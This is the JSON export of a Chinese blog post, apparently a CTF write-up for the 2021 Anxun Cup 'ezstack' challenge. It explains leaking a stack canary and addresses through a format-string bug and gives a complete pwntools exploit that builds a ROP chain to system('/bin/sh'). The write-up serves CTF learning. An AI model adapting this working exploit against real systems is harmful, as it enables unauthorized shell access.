{"id":438,"date":"2021-12-04T23:23:51","date_gmt":"2021-12-04T15:23:51","guid":{"rendered":"https:\/\/dreamc.top\/?p=438"},"modified":"2021-12-04T23:23:51","modified_gmt":"2021-12-04T15:23:51","slug":"2021%e5%ae%89%e6%b4%b5%e6%9d%afpwn","status":"publish","type":"post","link":"https:\/\/dreamc.top\/index.php\/2021\/12\/04\/2021%e5%ae%89%e6%b4%b5%e6%9d%afpwn\/","title":{"rendered":"2021\u5b89\u6d35\u676fpwn"},"content":{"rendered":"<div class=\"wp-block-jetpack-markdown\"><h1>ezstack<\/h1>\n<p>\u5148\u884c\u60ef\u4f8b\uff0c\u53d1\u73b0\u9664\u4e86full relro\u5176\u4ed6\u4fdd\u62a4\u5168\u5f00\u4e86\u3002\u53d1\u73b0system\u51fd\u6570\uff0c\u53ef\u4ee5\u901a\u8fc7\u6cc4\u9732\u5730\u5740\u540e\u5229\u7528\uff0c\u8fd9\u91cc\u53d1\u73b0\u6709\u4e24\u4e2a\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff0c\u8003\u8651\u5148\u6cc4\u9732canary\u503c\u548c\u5185\u5b58\u5730\u5740\u3002\u5728\u6cc4\u9732\u5185\u5b58\u5730\u5740\u7684LOAD\u5730\u5740\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u5229\u7528system\u51fd\u6570\u548c\u5b57\u7b26\u4e32binsh\u4e86\u3002\u6211\u4eca\u5929\u9047\u5230\u4e00\u4e2a\u5751\uff0c\u6808\u5e73\u8861\u95ee\u9898\uff0c\u6211\u5f53\u65f6\u5fd8\u4e86\uff0c\u4e0d\u77e5\u9053\u4e3a\u5565kali\u505a\u5c31\u4e0d\u7528\uff0cUbuntu\u5c31\u9700\u8981\uff0c\u8fd8\u6709\u5c31\u662f\u504f\u79fb\uff0c\u5728kali\u4e0a\u662f16\uff0c\u5728Ubuntu\u4e0a\u662f17\uff0c\u867d\u7136\u53ea\u8981\u8be5\u6808\u4e0a\u53ea\u8981\u6709\u5185\u5b58\u5730\u5740\u90fd\u53ef\u4ee5\uff0c\u4f46\u662f\u8fd9\u4e2a\u662fmain\u5730\u5740\uff0c\u5177\u4f53\u539f\u56e0\u6682\u4e0d\u6e05\u695a\uff0c\u6709\u61c2\u7684\u5927\u4f6c\u8bf7\u6307\u70b9\u4e00\u4e8c\u3002\u53c2\u8003\u4e86\u67d0\u5e08\u5085\u7684\uff08https:\/\/www.cnblogs.com\/yxhr\/p\/15618311.html\uff09\uff0cexp\u5982\u4e0b\uff1a<\/p>\n<pre><code>from pwn import *\np = process(&quot;.\/ezstack&quot;)\nelf = ELF(&#039;.\/ezstack&#039;)\ncontext(os=&#039;linux&#039;,arch=&#039;amd64&#039;,log_level=&#039;debug&#039;)\np.sendline(b&#039;%20$p%11$p&#039;)\np.recvuntil(b&#039;0x&#039;)\nstack=int(p.recv(12),16)\np.recvuntil(b&#039;0x&#039;)\ncanary=int(p.recv(16),16)\nprint (hex(stack))\nprint (hex(canary))\nstack=stack&amp;0xfffffffffffff000\nsystem = 0x810\npop_rdi = 0xb03\nbinsh = 0xb24\nret=0x7c1\nret=stack+ret\npop_rdi=stack+pop_rdi\nbinsh=stack+binsh\nsystem=stack+system\n#gdb.attach(p,&#039;b&#039;)\npayload =b&#039;a&#039;*0x18+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)\np.sendline(payload)\np.interactive()\n<\/code><\/pre>\n<\/div>\n<p><\/p>","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"advanced_seo_description":"","jetpack_seo_html_title":"","jetpack_seo_noindex":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[5],"tags":[],"class_list":["post-438","post","type-post","status-publish","format-standard","hentry","category-ctf"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/438","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/comments?post=438"}],"version-history":[{"count":0,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/438\/revisions"}],"wp:attachment":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/media?parent=438"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/categories?post=438"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/tags?post=438"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}